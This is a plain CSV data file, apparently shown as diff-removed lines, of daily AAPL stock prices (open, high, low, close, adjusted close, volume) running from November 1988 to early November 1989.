-1988-11-16,1.3928571939468384,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0896037817001343,36960000.0,AAPL
-1988-11-17,1.3571428060531616,1.375,1.3571428060531616,1.3660714626312256,1.0967724323272705,19885600.0,AAPL
-1988-11-18,1.375,1.375,1.3571428060531616,1.3571428060531616,1.0896037817001343,14397600.0,AAPL
-1988-11-21,1.3392857313156128,1.3482142686843872,1.2946428060531616,1.3080357313156128,1.0529474020004272,55476400.0,AAPL
-1988-11-22,1.3035714626312256,1.3169642686843872,1.2857142686843872,1.2901785373687744,1.0385723114013672,37046800.0,AAPL
-1988-11-23,1.2767857313156128,1.3214285373687744,1.2678571939468384,1.3169642686843872,1.0601342916488647,46998000.0,AAPL
-1988-11-25,1.2946428060531616,1.3125,1.2857142686843872,1.3035714626312256,1.0493537187576294,12073600.0,AAPL
-1988-11-28,1.3035714626312256,1.3125,1.2857142686843872,1.3035714626312256,1.0493537187576294,34840400.0,AAPL
-1988-11-29,1.3035714626312256,1.3125,1.2857142686843872,1.3125,1.056540846824646,23167200.0,AAPL
-1988-11-30,1.3125,1.3571428060531616,1.3125,1.34375,1.0816965103149414,41960800.0,AAPL
-1988-12-01,1.3482142686843872,1.3928571939468384,1.3392857313156128,1.3839285373687744,1.114039659500122,53040400.0,AAPL
-1988-12-02,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.4017857313156128,1.1284147500991821,83428800.0,AAPL
-1988-12-05,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.1356017589569092,38603600.0,AAPL
-1988-12-06,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1356017589569092,26233200.0,AAPL
-1988-12-07,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.40625,1.1320080757141113,24533600.0,AAPL
-1988-12-08,1.4017857313156128,1.4017857313156128,1.3839285373687744,1.3973214626312256,1.1248209476470947,14865200.0,AAPL
-1988-12-09,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1248209476470947,11239200.0,AAPL
-1988-12-12,1.4017857313156128,1.4107142686843872,1.375,1.375,1.1068522930145264,29470000.0,AAPL
-1988-12-13,1.375,1.3839285373687744,1.3660714626312256,1.3839285373687744,1.114039659500122,30637600.0,AAPL
-1988-12-14,1.375,1.4285714626312256,1.375,1.4196428060531616,1.1427892446517944,48325200.0,AAPL
-1988-12-15,1.4285714626312256,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.1356017589569092,28142800.0,AAPL
-1988-12-16,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1535698175430298,45872400.0,AAPL
-1988-12-19,1.4375,1.4642857313156128,1.4285714626312256,1.4553571939468384,1.1715389490127563,58581600.0,AAPL
-1988-12-20,1.4642857313156128,1.4821428060531616,1.4508928060531616,1.4642857313156128,1.178726077079773,68546800.0,AAPL
-1988-12-21,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.2002882957458496,60491200.0,AAPL
-1988-12-22,1.4910714626312256,1.5,1.4553571939468384,1.4642857313156128,1.178726077079773,26507600.0,AAPL
-1988-12-23,1.4642857313156128,1.4776785373687744,1.4642857313156128,1.46875,1.1823198795318604,10239600.0,AAPL
-1988-12-27,1.4642857313156128,1.4821428060531616,1.4464285373687744,1.4464285373687744,1.1643517017364502,14996800.0,AAPL
-1988-12-28,1.4464285373687744,1.4553571939468384,1.4196428060531616,1.4375,1.1571638584136963,12885600.0,AAPL
-1988-12-29,1.4375,1.4553571939468384,1.4375,1.4464285373687744,1.1643517017364502,29453200.0,AAPL
-1988-12-30,1.4464285373687744,1.4732142686843872,1.4375,1.4375,1.1571638584136963,20423200.0,AAPL
-1989-01-03,1.4375,1.4464285373687744,1.4285714626312256,1.4419642686843872,1.1607578992843628,25004000.0,AAPL
-1989-01-04,1.4553571939468384,1.5044642686843872,1.4464285373687744,1.5,1.2074754238128662,59987200.0,AAPL
-1989-01-05,1.5,1.5446428060531616,1.4732142686843872,1.5089285373687744,1.214662790298462,76832000.0,AAPL
-1989-01-06,1.5089285373687744,1.5535714626312256,1.5089285373687744,1.5223214626312256,1.225443720817566,49666400.0,AAPL
-1989-01-09,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5357142686843872,1.23622465133667,19826800.0,AAPL
-1989-01-10,1.5178571939468384,1.53125,1.4821428060531616,1.5223214626312256,1.225443720817566,25830000.0,AAPL
-1989-01-11,1.5089285373687744,1.5178571939468384,1.4732142686843872,1.5044642686843872,1.211069107055664,39032000.0,AAPL
-1989-01-12,1.5089285373687744,1.5357142686843872,1.5,1.5267857313156128,1.2290375232696533,37578800.0,AAPL
-1989-01-13,1.5267857313156128,1.5535714626312256,1.5133928060531616,1.5446428060531616,1.2434122562408447,48476400.0,AAPL
-1989-01-16,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5625,1.257786750793457,42148400.0,AAPL
-1989-01-17,1.5446428060531616,1.5535714626312256,1.4285714626312256,1.4419642686843872,1.1607578992843628,189151200.0,AAPL
-1989-01-18,1.4553571939468384,1.46875,1.4107142686843872,1.4196428060531616,1.1427892446517944,121982000.0,AAPL
-1989-01-19,1.4464285373687744,1.4642857313156128,1.4285714626312256,1.4464285373687744,1.1643517017364502,63996800.0,AAPL
-1989-01-20,1.4464285373687744,1.4821428060531616,1.4375,1.4642857313156128,1.178726077079773,43433600.0,AAPL
-1989-01-23,1.4553571939468384,1.4732142686843872,1.4553571939468384,1.4642857313156128,1.178726077079773,45133200.0,AAPL
-1989-01-24,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4866071939468384,1.1966944932937622,55823600.0,AAPL
-1989-01-25,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.1931006908416748,27734000.0,AAPL
-1989-01-26,1.4553571939468384,1.5044642686843872,1.4508928060531616,1.4910714626312256,1.2002882957458496,71316000.0,AAPL
-1989-01-27,1.3660714626312256,1.4017857313156128,1.2946428060531616,1.34375,1.0816965103149414,531792800.0,AAPL
-1989-01-30,1.34375,1.3571428060531616,1.3303571939468384,1.3348214626312256,1.074509620666504,146624800.0,AAPL
-1989-01-31,1.3303571939468384,1.3482142686843872,1.3125,1.3482142686843872,1.085290789604187,115088400.0,AAPL
-1989-02-01,1.3482142686843872,1.4151785373687744,1.3348214626312256,1.4017857313156128,1.1284147500991821,121889600.0,AAPL
-1989-02-02,1.4107142686843872,1.4375,1.4017857313156128,1.4196428060531616,1.1427892446517944,118372800.0,AAPL
-1989-02-03,1.4285714626312256,1.4375,1.3928571939468384,1.4017857313156128,1.1284147500991821,44727200.0,AAPL
-1989-02-06,1.4107142686843872,1.4107142686843872,1.3660714626312256,1.375,1.1068522930145264,29184400.0,AAPL
-1989-02-07,1.3660714626312256,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.1212267875671387,41288800.0,AAPL
-1989-02-08,1.3928571939468384,1.4107142686843872,1.3571428060531616,1.3660714626312256,1.0996651649475098,39253200.0,AAPL
-1989-02-09,1.3660714626312256,1.3928571939468384,1.3571428060531616,1.3660714626312256,1.0996651649475098,40202400.0,AAPL
-1989-02-10,1.3660714626312256,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.0709155797958374,87085600.0,AAPL
-1989-02-13,1.3125,1.3303571939468384,1.3125,1.3214285373687744,1.0637284517288208,58797200.0,AAPL
-1989-02-14,1.3169642686843872,1.3214285373687744,1.2589285373687744,1.2767857313156128,1.0277916193008423,222894000.0,AAPL
-1989-02-15,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.0421662330627441,82656000.0,AAPL
-1989-02-16,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.2991071939468384,1.0457602739334106,63924000.0,AAPL
-1989-02-17,1.2946428060531616,1.3214285373687744,1.2946428060531616,1.3125,1.059451699256897,29212400.0,AAPL
-1989-02-21,1.3169642686843872,1.3482142686843872,1.3125,1.3392857313156128,1.0810739994049072,47639200.0,AAPL
-1989-02-22,1.3303571939468384,1.3392857313156128,1.3035714626312256,1.3125,1.059451699256897,59581200.0,AAPL
-1989-02-23,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.3125,1.059451699256897,23842000.0,AAPL
-1989-02-24,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.2857142686843872,1.0378310680389404,38032400.0,AAPL
-1989-02-27,1.2857142686843872,1.3035714626312256,1.2767857313156128,1.3035714626312256,1.0522452592849731,28980000.0,AAPL
-1989-02-28,1.3035714626312256,1.3125,1.2857142686843872,1.2946428060531616,1.0450377464294434,44004800.0,AAPL
-1989-03-01,1.2946428060531616,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.0378310680389404,42532000.0,AAPL
-1989-03-02,1.2767857313156128,1.2946428060531616,1.2410714626312256,1.25,1.0090028047561646,94082800.0,AAPL
-1989-03-03,1.2589285373687744,1.2589285373687744,1.2142857313156128,1.2410714626312256,1.0017952919006348,96944400.0,AAPL
-1989-03-06,1.25,1.28125,1.2321428060531616,1.2678571939468384,1.023416519165039,42128800.0,AAPL
-1989-03-07,1.2678571939468384,1.2857142686843872,1.25,1.2767857313156128,1.0306239128112793,65172800.0,AAPL
-1989-03-08,1.2723214626312256,1.2946428060531616,1.2589285373687744,1.2589285373687744,1.0162097215652466,54073600.0,AAPL
-1989-03-09,1.2589285373687744,1.2767857313156128,1.2321428060531616,1.2321428060531616,0.9945877194404602,33359200.0,AAPL
-1989-03-10,1.2321428060531616,1.25,1.2232142686843872,1.25,1.0090028047561646,25678800.0,AAPL
-1989-03-13,1.25,1.2678571939468384,1.2410714626312256,1.25,1.0090028047561646,32776800.0,AAPL
-1989-03-14,1.25,1.2678571939468384,1.2455357313156128,1.2589285373687744,1.0162097215652466,40485200.0,AAPL
-1989-03-15,1.2589285373687744,1.2678571939468384,1.2410714626312256,1.25,1.0090028047561646,22514800.0,AAPL
-1989-03-16,1.25,1.2678571939468384,1.2321428060531616,1.2589285373687744,1.0162097215652466,48059200.0,AAPL
-1989-03-17,1.2321428060531616,1.2767857313156128,1.2142857313156128,1.2455357313156128,1.0053987503051758,59281600.0,AAPL
-1989-03-20,1.25,1.2589285373687744,1.2321428060531616,1.2455357313156128,1.0053987503051758,45362800.0,AAPL
-1989-03-21,1.2678571939468384,1.2678571939468384,1.2410714626312256,1.2455357313156128,1.0053987503051758,32048800.0,AAPL
-1989-03-22,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2098214626312256,0.9765701293945312,36212400.0,AAPL
-1989-03-23,1.2142857313156128,1.2321428060531616,1.2053571939468384,1.2276785373687744,0.9909843802452087,29727600.0,AAPL
-1989-03-27,1.2232142686843872,1.2321428060531616,1.1964285373687744,1.2053571939468384,0.9729666113853455,37914800.0,AAPL
-1989-03-28,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2142857313156128,0.9801737070083618,35313600.0,AAPL
-1989-03-29,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2232142686843872,0.9873804450035095,18600400.0,AAPL
-1989-03-30,1.2232142686843872,1.25,1.2142857313156128,1.2410714626312256,1.0017952919006348,26311600.0,AAPL
-1989-03-31,1.25,1.2767857313156128,1.2410714626312256,1.2723214626312256,1.0270203351974487,46337200.0,AAPL
-1989-04-03,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.25,1.0090028047561646,41571600.0,AAPL
-1989-04-04,1.2321428060531616,1.2455357313156128,1.2098214626312256,1.2321428060531616,0.9945877194404602,28932400.0,AAPL
-1989-04-05,1.2321428060531616,1.2589285373687744,1.2232142686843872,1.25,1.0090028047561646,30063600.0,AAPL
-1989-04-06,1.2410714626312256,1.2901785373687744,1.2321428060531616,1.2857142686843872,1.0378310680389404,39093600.0,AAPL
-1989-04-07,1.2857142686843872,1.3392857313156128,1.2857142686843872,1.3348214626312256,1.0774701833724976,88746000.0,AAPL
-1989-04-10,1.3303571939468384,1.3571428060531616,1.3125,1.3214285373687744,1.0666595697402954,33843600.0,AAPL
-1989-04-11,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3482142686843872,1.088281273841858,36635200.0,AAPL
-1989-04-12,1.3660714626312256,1.4017857313156128,1.3526785373687744,1.375,1.1099027395248413,96978000.0,AAPL
-1989-04-13,1.3839285373687744,1.4107142686843872,1.3660714626312256,1.375,1.1099027395248413,45318000.0,AAPL
-1989-04-14,1.3928571939468384,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.1171095371246338,30839200.0,AAPL
-1989-04-17,1.375,1.4017857313156128,1.3571428060531616,1.4017857313156128,1.1315239667892456,35036400.0,AAPL
-1989-04-18,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1567490100860596,140246400.0,AAPL
-1989-04-19,1.4285714626312256,1.4866071939468384,1.4196428060531616,1.4598214626312256,1.1783705949783325,106470000.0,AAPL
-1989-04-20,1.4553571939468384,1.4821428060531616,1.4375,1.4553571939468384,1.1747668981552124,44954000.0,AAPL
-1989-04-21,1.4464285373687744,1.4598214626312256,1.4196428060531616,1.4330357313156128,1.1567490100860596,28792400.0,AAPL
-1989-04-24,1.4285714626312256,1.4375,1.4107142686843872,1.4330357313156128,1.1567490100860596,27697600.0,AAPL
-1989-04-25,1.4285714626312256,1.4464285373687744,1.4196428060531616,1.4285714626312256,1.153145432472229,29044400.0,AAPL
-1989-04-26,1.4285714626312256,1.4375,1.3973214626312256,1.4196428060531616,1.1459381580352783,46533200.0,AAPL
-1989-04-27,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.40625,1.1351275444030762,34846000.0,AAPL
-1989-04-28,1.4017857313156128,1.4107142686843872,1.375,1.3928571939468384,1.124316692352295,25964400.0,AAPL
-1989-05-01,1.375,1.4017857313156128,1.375,1.3928571939468384,1.124316692352295,20165600.0,AAPL
-1989-05-02,1.3928571939468384,1.4375,1.3928571939468384,1.4241071939468384,1.1495423316955566,53936400.0,AAPL
-1989-05-03,1.4196428060531616,1.4553571939468384,1.4196428060531616,1.4375,1.1603527069091797,55134800.0,AAPL
-1989-05-04,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.181973934173584,47227600.0,AAPL
-1989-05-05,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.4821428060531616,1.1963881254196167,115189200.0,AAPL
-1989-05-08,1.4821428060531616,1.5089285373687744,1.4821428060531616,1.5089285373687744,1.2180097103118896,51480800.0,AAPL
-1989-05-09,1.5,1.5357142686843872,1.5,1.5178571939468384,1.2252169847488403,86693600.0,AAPL
-1989-05-10,1.5357142686843872,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.2468384504318237,58609600.0,AAPL
-1989-05-11,1.5446428060531616,1.5803571939468384,1.5357142686843872,1.5669642686843872,1.2648563385009766,75236000.0,AAPL
-1989-05-12,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.6071428060531616,1.2972890138626099,116785200.0,AAPL
-1989-05-15,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3261172771453857,79475200.0,AAPL
-1989-05-16,1.6428571939468384,1.6517857313156128,1.6071428060531616,1.6205357313156128,1.308099627494812,57167600.0,AAPL
-1989-05-17,1.6160714626312256,1.625,1.6071428060531616,1.6160714626312256,1.3044958114624023,62115200.0,AAPL
-1989-05-18,1.6160714626312256,1.625,1.5982142686843872,1.5982142686843872,1.29008150100708,52813600.0,AAPL
-1989-05-19,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6339285373687744,1.3189098834991455,82692400.0,AAPL
-1989-05-22,1.6339285373687744,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.3290213346481323,47600000.0,AAPL
-1989-05-23,1.6428571939468384,1.6428571939468384,1.6160714626312256,1.625,1.3145748376846313,33616800.0,AAPL
-1989-05-24,1.6160714626312256,1.7053571939468384,1.6160714626312256,1.7053571939468384,1.3795816898345947,74401600.0,AAPL
-1989-05-25,1.6875,1.75,1.6875,1.7232142686843872,1.3940279483795166,58091600.0,AAPL
-1989-05-26,1.7232142686843872,1.75,1.7142857313156128,1.7321428060531616,1.4012501239776611,28128800.0,AAPL
-1989-05-30,1.7232142686843872,1.75,1.6919642686843872,1.6964285373687744,1.372359037399292,27980400.0,AAPL
-1989-05-31,1.6964285373687744,1.71875,1.6785714626312256,1.7053571939468384,1.3795816898345947,28803600.0,AAPL
-1989-06-01,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7410714626312256,1.408473253250122,44875600.0,AAPL
-1989-06-02,1.7321428060531616,1.7678571939468384,1.7321428060531616,1.75,1.415696382522583,31119200.0,AAPL
-1989-06-05,1.7410714626312256,1.75,1.6607142686843872,1.6785714626312256,1.3579127788543701,31029600.0,AAPL
-1989-06-06,1.6696428060531616,1.6785714626312256,1.6517857313156128,1.6696428060531616,1.3506903648376465,36251600.0,AAPL
-1989-06-07,1.6696428060531616,1.7321428060531616,1.6696428060531616,1.7232142686843872,1.3940279483795166,43918000.0,AAPL
-1989-06-08,1.7321428060531616,1.75,1.6875,1.7008928060531616,1.375970482826233,44503200.0,AAPL
-1989-06-09,1.6875,1.7053571939468384,1.6607142686843872,1.6785714626312256,1.3579127788543701,23604000.0,AAPL
-1989-06-12,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6964285373687744,1.372359037399292,20216000.0,AAPL
-1989-06-13,1.6964285373687744,1.7410714626312256,1.6785714626312256,1.7321428060531616,1.4012501239776611,57744400.0,AAPL
-1989-06-14,1.75,1.7946428060531616,1.7232142686843872,1.7723214626312256,1.4337538480758667,62826400.0,AAPL
-1989-06-15,1.7678571939468384,1.7767857313156128,1.6964285373687744,1.6964285373687744,1.372359037399292,40350800.0,AAPL
-1989-06-16,1.5982142686843872,1.625,1.5535714626312256,1.5892857313156128,1.2856837511062622,135500400.0,AAPL
-1989-06-19,1.5892857313156128,1.5982142686843872,1.5535714626312256,1.5714285373687744,1.2712374925613403,45780000.0,AAPL
-1989-06-20,1.5714285373687744,1.5714285373687744,1.5089285373687744,1.5357142686843872,1.2423460483551025,33633600.0,AAPL
-1989-06-21,1.5357142686843872,1.5535714626312256,1.5089285373687744,1.5178571939468384,1.2279002666473389,32466000.0,AAPL
-1989-06-22,1.5178571939468384,1.5625,1.5,1.5446428060531616,1.2495688199996948,34300000.0,AAPL
-1989-06-23,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5669642686843872,1.2676265239715576,30973600.0,AAPL
-1989-06-26,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.2567917108535767,45959200.0,AAPL
-1989-06-27,1.5625,1.5803571939468384,1.5178571939468384,1.5223214626312256,1.2315114736557007,26446000.0,AAPL
-1989-06-28,1.5089285373687744,1.5089285373687744,1.4642857313156128,1.4910714626312256,1.2062311172485352,64257200.0,AAPL
-1989-06-29,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4508928060531616,1.173728108406067,58380000.0,AAPL
-1989-06-30,1.4464285373687744,1.4910714626312256,1.4107142686843872,1.4732142686843872,1.191785216331482,41185200.0,AAPL
-1989-07-03,1.4910714626312256,1.4910714626312256,1.4553571939468384,1.4553571939468384,1.177339792251587,12087600.0,AAPL
-1989-07-05,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4464285373687744,1.1701161861419678,29789200.0,AAPL
-1989-07-06,1.4553571939468384,1.4910714626312256,1.4375,1.4732142686843872,1.191785216331482,43481200.0,AAPL
-1989-07-07,1.4732142686843872,1.5,1.4464285373687744,1.4732142686843872,1.191785216331482,26527200.0,AAPL
-1989-07-10,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4464285373687744,1.1701161861419678,50923600.0,AAPL
-1989-07-11,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4196428060531616,1.148447871208191,60981200.0,AAPL
-1989-07-12,1.4196428060531616,1.4375,1.4107142686843872,1.4285714626312256,1.1556710004806519,31032400.0,AAPL
-1989-07-13,1.4285714626312256,1.4642857313156128,1.4107142686843872,1.4508928060531616,1.173728108406067,56358400.0,AAPL
-1989-07-14,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.177339792251587,64330000.0,AAPL
-1989-07-17,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4553571939468384,1.177339792251587,32723600.0,AAPL
-1989-07-18,1.4553571939468384,1.4553571939468384,1.3839285373687744,1.4017857313156128,1.1340014934539795,119327600.0,AAPL
-1989-07-19,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4464285373687744,1.1701161861419678,59743600.0,AAPL
-1989-07-20,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4285714626312256,1.1556710004806519,59018400.0,AAPL
-1989-07-21,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4285714626312256,1.1556710004806519,34871200.0,AAPL
-1989-07-24,1.4196428060531616,1.4196428060531616,1.4017857313156128,1.4017857313156128,1.1340014934539795,28996800.0,AAPL
-1989-07-25,1.4017857313156128,1.4196428060531616,1.3571428060531616,1.3839285373687744,1.119555950164795,52460800.0,AAPL
-1989-07-26,1.3660714626312256,1.375,1.3482142686843872,1.3660714626312256,1.1051101684570312,58436000.0,AAPL
-1989-07-27,1.3660714626312256,1.4107142686843872,1.3571428060531616,1.4017857313156128,1.1340014934539795,43268400.0,AAPL
-1989-07-28,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1376131772994995,29834000.0,AAPL
-1989-07-31,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.148447871208191,27966400.0,AAPL
-1989-08-01,1.4196428060531616,1.4375,1.4017857313156128,1.4241071939468384,1.1520590782165527,34885200.0,AAPL
-1989-08-02,1.4196428060531616,1.4464285373687744,1.4107142686843872,1.4464285373687744,1.1701161861419678,25351200.0,AAPL
-1989-08-03,1.4464285373687744,1.4821428060531616,1.4464285373687744,1.4732142686843872,1.191785216331482,43234800.0,AAPL
-1989-08-04,1.4732142686843872,1.5267857313156128,1.46875,1.5267857313156128,1.2351230382919312,45838800.0,AAPL
-1989-08-07,1.5357142686843872,1.5714285373687744,1.5223214626312256,1.5625,1.264014482498169,42053200.0,AAPL
-1989-08-08,1.5535714626312256,1.5982142686843872,1.5535714626312256,1.5758928060531616,1.2748491764068604,51548000.0,AAPL
-1989-08-09,1.5714285373687744,1.6339285373687744,1.5669642686843872,1.5714285373687744,1.2712374925613403,48790000.0,AAPL
-1989-08-10,1.5714285373687744,1.5714285373687744,1.5267857313156128,1.5446428060531616,1.2495688199996948,38091200.0,AAPL
-1989-08-11,1.5714285373687744,1.5714285373687744,1.4732142686843872,1.4955357313156128,1.2098429203033447,57520400.0,AAPL
-1989-08-14,1.4821428060531616,1.5,1.4464285373687744,1.4553571939468384,1.177339792251587,25706800.0,AAPL
-1989-08-15,1.4553571939468384,1.4821428060531616,1.4553571939468384,1.4776785373687744,1.1953967809677124,40933200.0,AAPL
-1989-08-16,1.4821428060531616,1.4910714626312256,1.4285714626312256,1.4419642686843872,1.1665046215057373,30133600.0,AAPL
-1989-08-17,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.184562087059021,38329200.0,AAPL
-1989-08-18,1.4910714626312256,1.5178571939468384,1.4821428060531616,1.5089285373687744,1.2206768989562988,21016800.0,AAPL
-1989-08-21,1.5089285373687744,1.5446428060531616,1.5,1.5089285373687744,1.2235716581344604,34456800.0,AAPL
-1989-08-22,1.5,1.5357142686843872,1.5,1.53125,1.2416719198226929,27958000.0,AAPL
-1989-08-23,1.5357142686843872,1.5803571939468384,1.5178571939468384,1.5625,1.2670122385025024,43411200.0,AAPL
-1989-08-24,1.5625,1.5892857313156128,1.5535714626312256,1.5758928060531616,1.2778723239898682,40731600.0,AAPL
-1989-08-25,1.5714285373687744,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.295972466468811,40348000.0,AAPL
-1989-08-28,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.295972466468811,20414800.0,AAPL
-1989-08-29,1.5982142686843872,1.6071428060531616,1.5625,1.5758928060531616,1.2778723239898682,44226000.0,AAPL
-1989-08-30,1.5714285373687744,1.5982142686843872,1.5714285373687744,1.5892857313156128,1.2887327671051025,29024800.0,AAPL
-1989-08-31,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5892857313156128,1.2887327671051025,14072800.0,AAPL
-1989-09-01,1.5892857313156128,1.5982142686843872,1.5803571939468384,1.59375,1.2923527956008911,18530400.0,AAPL
-1989-09-05,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5982142686843872,1.295972466468811,28705600.0,AAPL
-1989-09-06,1.5982142686843872,1.6026785373687744,1.5714285373687744,1.5982142686843872,1.295972466468811,21688800.0,AAPL
-1989-09-07,1.5982142686843872,1.625,1.5982142686843872,1.5982142686843872,1.295972466468811,28473200.0,AAPL
-1989-09-08,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.3032125234603882,13958000.0,AAPL
-1989-09-11,1.5982142686843872,1.6428571939468384,1.5892857313156128,1.6339285373687744,1.32493257522583,24648400.0,AAPL
-1989-09-12,1.625,1.6696428060531616,1.6071428060531616,1.6428571939468384,1.3321728706359863,25897200.0,AAPL
-1989-09-13,1.6517857313156128,1.6651785373687744,1.6071428060531616,1.6071428060531616,1.3032125234603882,32172000.0,AAPL
-1989-09-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.295972466468811,32821600.0,AAPL
-1989-09-15,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3032125234603882,31217200.0,AAPL
-1989-09-18,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.2742525339126587,15789200.0,AAPL
-1989-09-19,1.5803571939468384,1.5892857313156128,1.5357142686843872,1.5446428060531616,1.2525323629379272,20199200.0,AAPL
-1989-09-20,1.5714285373687744,1.6071428060531616,1.5625,1.59375,1.2923527956008911,29537200.0,AAPL
-1989-09-21,1.6071428060531616,1.6428571939468384,1.5803571939468384,1.5982142686843872,1.295972466468811,50240400.0,AAPL
-1989-09-22,1.5982142686843872,1.6160714626312256,1.5803571939468384,1.6026785373687744,1.29959237575531,18124400.0,AAPL
-1989-09-25,1.5982142686843872,1.6339285373687744,1.5982142686843872,1.6160714626312256,1.3104526996612549,34039600.0,AAPL
-1989-09-26,1.6071428060531616,1.625,1.5982142686843872,1.6160714626312256,1.3104526996612549,19331200.0,AAPL
-1989-09-27,1.5803571939468384,1.6116071939468384,1.5714285373687744,1.5982142686843872,1.295972466468811,22531600.0,AAPL
-1989-09-28,1.6071428060531616,1.6339285373687744,1.6071428060531616,1.625,1.317692756652832,19854800.0,AAPL
-1989-09-29,1.6160714626312256,1.625,1.5892857313156128,1.5892857313156128,1.2887327671051025,17452400.0,AAPL
-1989-10-02,1.5892857313156128,1.5982142686843872,1.5625,1.5848214626312256,1.2851125001907349,34350400.0,AAPL
-1989-10-03,1.5803571939468384,1.5892857313156128,1.5401785373687744,1.5580357313156128,1.2633925676345825,42624400.0,AAPL
-1989-10-04,1.5625,1.59375,1.5535714626312256,1.5803571939468384,1.2814921140670776,39793600.0,AAPL
-1989-10-05,1.5892857313156128,1.6607142686843872,1.5803571939468384,1.625,1.317692756652832,61320000.0,AAPL
-1989-10-06,1.6517857313156128,1.7232142686843872,1.6428571939468384,1.71875,1.3937128782272339,90426000.0,AAPL
-1989-10-09,1.7142857313156128,1.7767857313156128,1.6964285373687744,1.7678571939468384,1.4335339069366455,48888000.0,AAPL
-1989-10-10,1.7767857313156128,1.7991071939468384,1.7321428060531616,1.7678571939468384,1.4335339069366455,71780800.0,AAPL
-1989-10-11,1.7410714626312256,1.7589285373687744,1.7142857313156128,1.7455357313156128,1.4154338836669922,39239200.0,AAPL
-1989-10-12,1.75,1.7589285373687744,1.7321428060531616,1.7410714626312256,1.4118136167526245,20661200.0,AAPL
-1989-10-13,1.7410714626312256,1.7678571939468384,1.6071428060531616,1.6339285373687744,1.32493257522583,50279600.0,AAPL
-1989-10-16,1.5982142686843872,1.6696428060531616,1.5178571939468384,1.6696428060531616,1.3538931608200073,106229200.0,AAPL
-1989-10-17,1.6428571939468384,1.7410714626312256,1.6071428060531616,1.6875,1.3683733940124512,62510000.0,AAPL
-1989-10-18,1.6607142686843872,1.7232142686843872,1.6428571939468384,1.7232142686843872,1.3973338603973389,36008000.0,AAPL
-1989-10-19,1.7232142686843872,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.4118136167526245,27974800.0,AAPL
-1989-10-20,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.3900933265686035,65377200.0,AAPL
-1989-10-23,1.7142857313156128,1.7232142686843872,1.6517857313156128,1.6696428060531616,1.3538931608200073,30489200.0,AAPL
-1989-10-24,1.6517857313156128,1.7321428060531616,1.6160714626312256,1.7008928060531616,1.3792328834533691,54110000.0,AAPL
-1989-10-25,1.7053571939468384,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.3466532230377197,29786400.0,AAPL
-1989-10-26,1.625,1.6607142686843872,1.6071428060531616,1.6160714626312256,1.3104526996612549,42316400.0,AAPL
-1989-10-27,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6160714626312256,1.3104526996612549,32354000.0,AAPL
-1989-10-30,1.625,1.6428571939468384,1.6071428060531616,1.6339285373687744,1.32493257522583,21744800.0,AAPL
-1989-10-31,1.6339285373687744,1.6607142686843872,1.625,1.6607142686843872,1.3466532230377197,22999200.0,AAPL
-1989-11-01,1.6517857313156128,1.6696428060531616,1.6339285373687744,1.6473214626312256,1.3357926607131958,15296400.0,AAPL
-1989-11-02,1.6071428060531616,1.6071428060531616,1.5357142686843872,1.5714285373687744,1.2742525339126587,113167600.0,AAPL
